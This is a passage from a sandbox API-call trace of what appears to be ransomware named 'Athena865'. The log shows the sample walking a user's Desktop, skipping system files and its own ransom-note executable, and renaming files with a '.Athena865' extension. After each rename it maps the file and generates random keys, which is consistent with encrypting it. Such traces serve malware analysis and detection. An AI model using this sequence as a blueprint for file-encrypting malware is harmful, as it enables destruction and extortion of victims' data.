lpString2="mdb") returned 1 [0101.237] lstrlenW (lpString="sql") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="sql") returned 1 [0101.237] lstrlenW (lpString="sqlite") returned 6 [0101.237] lstrcmpiW (lpString1="jW.swf", lpString2="sqlite") returned -1 [0101.237] lstrlenW (lpString="sqlite3") returned 7 [0101.237] lstrcmpiW (lpString1=" jW.swf", lpString2="sqlite3") returned -1 [0101.237] lstrlenW (lpString="sqlitedb") returned 8 [0101.237] lstrcmpiW (lpString1="O jW.swf", lpString2="sqlitedb") returned -1 [0101.237] lstrlenW (lpString="xml") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="xml") returned -1 [0101.237] lstrlenW (lpString="$er") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="$er") returned 1 [0101.237] lstrlenW (lpString="4dd") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="4dd") returned 1 [0101.237] lstrlenW (lpString="4dl") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="4dl") returned 1 [0101.237] lstrlenW (lpString="^^^") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="^^^") returned 1 [0101.237] lstrlenW (lpString="abs") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="abs") returned 1 [0101.237] lstrlenW (lpString="abx") returned 3 [0101.237] lstrcmpiW (lpString1="swf", lpString2="abx") returned 1 [0101.237] lstrlenW (lpString="accdb") returned 5 [0101.237] lstrcmpiW (lpString1="W.swf", lpString2="accdb") returned 1 [0101.237] lstrlenW (lpString="accdc") returned 5 [0101.237] lstrcmpiW (lpString1="W.swf", lpString2="accdc") returned 1 [0101.238] lstrlenW (lpString="accde") returned 5 [0101.238] lstrcmpiW (lpString1="W.swf", lpString2="accde") returned 1 [0101.238] lstrlenW (lpString="accdr") returned 5 [0101.238] lstrcmpiW (lpString1="W.swf", lpString2="accdr") returned 1 [0101.238] lstrlenW (lpString="accdt") returned 5 [0101.238] lstrcmpiW (lpString1="W.swf", lpString2="accdt") returned 1 [0101.238] lstrlenW (lpString="accdw") returned 5 [0101.238] lstrcmpiW (lpString1="W.swf", lpString2="accdw") returned 1 [0101.238] lstrlenW (lpString="accft") returned 5 [0101.238] lstrcmpiW (lpString1="W.swf", lpString2="accft") returned 1 [0101.238] lstrlenW (lpString="adb") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1 [0101.238] lstrlenW (lpString="adb") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1 [0101.238] lstrlenW (lpString="ade") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="ade") returned 1 [0101.238] lstrlenW (lpString="adf") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="adf") returned 1 [0101.238] lstrlenW (lpString="adn") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="adn") returned 1 [0101.238] lstrlenW (lpString="adp") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="adp") returned 1 [0101.238] lstrlenW (lpString="alf") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="alf") returned 1 [0101.238] lstrlenW (lpString="ask") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="ask") returned 1 [0101.238] lstrlenW (lpString="btr") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="btr") returned 1 [0101.238] lstrlenW (lpString="cat") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="cat") returned 1 [0101.238] lstrlenW (lpString="cdb") returned 3 [0101.238] lstrcmpiW (lpString1="swf", lpString2="cdb") returned 1 [0101.239] lstrlenW (lpString="ckp") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="ckp") returned 1 [0101.239] lstrlenW (lpString="cma") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="cma") returned 1 [0101.239] lstrlenW (lpString="cpd") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="cpd") returned 1 [0101.239] lstrlenW (lpString="dacpac") returned 6 [0101.239] lstrcmpiW (lpString1="jW.swf", lpString2="dacpac") returned 1 [0101.239] lstrlenW (lpString="dad") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="dad") returned 1 [0101.239] lstrlenW (lpString="dadiagrams") returned 10 [0101.239] lstrlenW (lpString="daschema") returned 8 [0101.239] lstrcmpiW (lpString1="O jW.swf", lpString2="daschema") returned 1 [0101.239] lstrlenW (lpString="db-journal") returned 10 [0101.239] lstrlenW (lpString="db-shm") returned 6 [0101.239] lstrcmpiW (lpString1="jW.swf", lpString2="db-shm") returned 1 [0101.239] lstrlenW (lpString="db-wal") returned 6 [0101.239] lstrcmpiW (lpString1="jW.swf", lpString2="db-wal") returned 1 [0101.239] lstrlenW (lpString="dbc") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="dbc") returned 1 [0101.239] lstrlenW (lpString="dbs") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="dbs") returned 1 [0101.239] lstrlenW (lpString="dbt") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="dbt") returned 1 [0101.239] lstrlenW (lpString="dbv") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="dbv") returned 1 [0101.239] lstrlenW (lpString="dbx") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="dbx") returned 1 [0101.239] lstrlenW (lpString="dcb") returned 3 [0101.239] lstrcmpiW (lpString1="swf", lpString2="dcb") returned 1 [0101.240] lstrcmpiW (lpString1="swf", lpString2="dct") returned 1 [0101.240] lstrcmpiW (lpString1="swf", lpString2="dcx") returned 1 [0101.240] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\BO jW.swf.Athena865") returned 78 [0101.240] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\BO jW.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\bo jw.swf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\BO jW.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\bo jw.swf.athena865"), dwFlags=0x1) returned 1 [0101.241] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\BO jW.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\bo jw.swf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.241] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25626) returned 1 [0101.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.241] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.242] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.242] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.242] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6720, lpName=0x0) returned 0x17c [0101.242] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6720) returned 0x100000 [0101.243] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.244] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.244] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.245] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.245] CloseHandle (hObject=0x17c) returned 1 [0101.245] CloseHandle (hObject=0x154) returned 1 [0101.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.247] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74e7ed80, ftCreationTime.dwHighDateTime=0x1d4cf35, ftLastAccessTime.dwLowDateTime=0xc7949d50, ftLastAccessTime.dwHighDateTime=0x1d4cd8f, ftLastWriteTime.dwLowDateTime=0xc7949d50, ftLastWriteTime.dwHighDateTime=0x1d4cd8f, nFileSizeHigh=0x0, nFileSizeLow=0xa25a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Da3xDaJ1IrA_.jpg", cAlternateFileName="DA3XDA~1.JPG")) returned 1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2=".") returned 1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="..") returned 1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="windows") returned -1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="bootmgr") returned 1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="temp") returned -1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="pagefile.sys") returned -1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="boot") returned 1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="ids.txt") returned -1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="ntuser.dat") returned -1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="perflogs") returned -1 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2="MSBuild") returned -1 [0101.247] lstrlenW (lpString="Da3xDaJ1IrA_.jpg") returned 16 [0101.247] lstrcpyW (in: lpString1=0x241e8be, lpString2="Da3xDaJ1IrA_.jpg" | out: lpString1="Da3xDaJ1IrA_.jpg") returned="Da3xDaJ1IrA_.jpg" [0101.247] lstrlenW (lpString="Da3xDaJ1IrA_.jpg") returned 16 [0101.247] lstrlenW (lpString="Athena865") returned 9 [0101.247] lstrcmpiW (lpString1="1IrA_.jpg", lpString2="Athena865") returned -1 [0101.247] lstrlenW (lpString=".dll") returned 4 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2=".dll") returned 1 [0101.247] lstrlenW (lpString=".lnk") returned 4 [0101.247] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2=".lnk") returned 1 [0101.248] lstrlenW (lpString=".ini") returned 4 [0101.248] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2=".ini") returned 1 [0101.248] lstrlenW (lpString=".sys") returned 4 [0101.248] lstrcmpiW (lpString1="Da3xDaJ1IrA_.jpg", lpString2=".sys") returned 1 [0101.248] lstrlenW (lpString="Da3xDaJ1IrA_.jpg") returned 16 [0101.248] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\Da3xDaJ1IrA_.jpg.Athena865") returned 85 [0101.248] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\Da3xDaJ1IrA_.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\da3xdaj1ira_.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\Da3xDaJ1IrA_.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\da3xdaj1ira_.jpg.athena865"), dwFlags=0x1) returned 1 [0101.249] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\Da3xDaJ1IrA_.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\da3xdaj1ira_.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.249] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41562) returned 1 [0101.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.249] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.250] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.250] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.250] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa560, lpName=0x0) returned 0x17c [0101.250] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa560) returned 0x100000 [0101.252] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.252] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.252] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.253] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.254] CloseHandle (hObject=0x17c) returned 1 [0101.254] CloseHandle (hObject=0x154) returned 1 [0101.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.255] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d398b50, ftCreationTime.dwHighDateTime=0x1d4d150, ftLastAccessTime.dwLowDateTime=0x11945110, ftLastAccessTime.dwHighDateTime=0x1d4c779, ftLastWriteTime.dwLowDateTime=0x11945110, ftLastWriteTime.dwHighDateTime=0x1d4c779, nFileSizeHigh=0x0, nFileSizeLow=0x6499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="djCcT.m4a", cAlternateFileName="")) returned 1 [0101.255] lstrcmpiW (lpString1="djCcT.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.255] lstrcmpiW (lpString1="djCcT.m4a", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.255] lstrcmpiW (lpString1="djCcT.m4a", lpString2=".") returned 1 [0101.255] lstrcmpiW (lpString1="djCcT.m4a", lpString2="..") returned 1 [0101.255] lstrcmpiW (lpString1="djCcT.m4a", lpString2="windows") returned -1 [0101.255] lstrcmpiW (lpString1="djCcT.m4a", lpString2="bootmgr") returned 1 [0101.255] lstrcmpiW (lpString1="djCcT.m4a", lpString2="temp") returned -1 [0101.255] lstrcmpiW (lpString1="djCcT.m4a", lpString2="pagefile.sys") returned -1 [0101.255] lstrcmpiW (lpString1="djCcT.m4a", lpString2="boot") returned 1 [0101.256] lstrcmpiW (lpString1="djCcT.m4a", lpString2="ids.txt") returned -1 [0101.256] lstrcmpiW (lpString1="djCcT.m4a", lpString2="ntuser.dat") returned -1 [0101.256] lstrcmpiW (lpString1="djCcT.m4a", lpString2="perflogs") returned -1 [0101.256] lstrcmpiW (lpString1="djCcT.m4a", lpString2="MSBuild") returned -1 [0101.256] lstrlenW (lpString="djCcT.m4a") returned 9 [0101.256] lstrcpyW (in: lpString1=0x241e8be, lpString2="djCcT.m4a" | out: lpString1="djCcT.m4a") returned="djCcT.m4a" [0101.256] lstrlenW (lpString="djCcT.m4a") returned 9 [0101.256] lstrlenW (lpString="Athena865") returned 9 [0101.256] lstrlenW (lpString=".dll") returned 4 [0101.256] lstrcmpiW (lpString1="djCcT.m4a", lpString2=".dll") returned 1 [0101.256] lstrlenW (lpString=".lnk") returned 4 [0101.256] lstrcmpiW (lpString1="djCcT.m4a", lpString2=".lnk") returned 1 [0101.256] lstrlenW (lpString=".ini") returned 4 [0101.256] lstrcmpiW (lpString1="djCcT.m4a", lpString2=".ini") returned 1 [0101.256] lstrlenW (lpString=".sys") returned 4 [0101.256] lstrcmpiW (lpString1="djCcT.m4a", lpString2=".sys") returned 1 [0101.256] lstrlenW (lpString="djCcT.m4a") returned 9 [0101.256] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\djCcT.m4a.Athena865") returned 78 [0101.256] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\djCcT.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\djcct.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\djCcT.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\djcct.m4a.athena865"), dwFlags=0x1) returned 1 [0101.257] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\djCcT.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\djcct.m4a.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.257] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25753) returned 1 [0101.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.258] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.258] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.258] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.258] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x67a0, lpName=0x0) returned 0x17c [0101.259] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x67a0) returned 0x100000 [0101.260] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.260] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.260] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.261] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.261] CloseHandle (hObject=0x17c) returned 1 [0101.261] CloseHandle (hObject=0x154) returned 1 [0101.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.263] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f02f60, ftCreationTime.dwHighDateTime=0x1d4c673, ftLastAccessTime.dwLowDateTime=0xdb4602c0, ftLastAccessTime.dwHighDateTime=0x1d4d32b, ftLastWriteTime.dwLowDateTime=0xdb4602c0, ftLastWriteTime.dwHighDateTime=0x1d4d32b, nFileSizeHigh=0x0, nFileSizeLow=0x7296, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eoiR8mIRG.ods", cAlternateFileName="EOIR8M~1.ODS")) returned 1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2=".") returned 1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="..") returned 1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="windows") returned -1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="bootmgr") returned 1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="temp") returned -1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="pagefile.sys") returned -1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="boot") returned 1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="ids.txt") returned -1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="ntuser.dat") returned -1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="perflogs") returned -1 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2="MSBuild") returned -1 [0101.263] lstrlenW (lpString="eoiR8mIRG.ods") returned 13 [0101.263] lstrcpyW (in: lpString1=0x241e8be, lpString2="eoiR8mIRG.ods" | out: lpString1="eoiR8mIRG.ods") returned="eoiR8mIRG.ods" [0101.263] lstrlenW (lpString="eoiR8mIRG.ods") returned 13 [0101.263] lstrlenW (lpString="Athena865") returned 9 [0101.263] lstrcmpiW (lpString1="8mIRG.ods", lpString2="Athena865") returned -1 [0101.263] lstrlenW (lpString=".dll") returned 4 [0101.263] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2=".dll") returned 1 [0101.264] lstrlenW (lpString=".lnk") returned 4 [0101.264] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2=".lnk") returned 1 [0101.264] lstrlenW (lpString=".ini") returned 4 [0101.264] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2=".ini") returned 1 [0101.264] lstrlenW (lpString=".sys") returned 4 [0101.264] lstrcmpiW (lpString1="eoiR8mIRG.ods", lpString2=".sys") returned 1 [0101.264] lstrlenW (lpString="eoiR8mIRG.ods") returned 13 [0101.264] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\eoiR8mIRG.ods.Athena865") returned 82 [0101.264] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\eoiR8mIRG.ods" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\eoir8mirg.ods"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\eoiR8mIRG.ods.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\eoir8mirg.ods.athena865"), dwFlags=0x1) returned 1 [0101.267] CreateFileW (lpFileName="C:\\Documents and 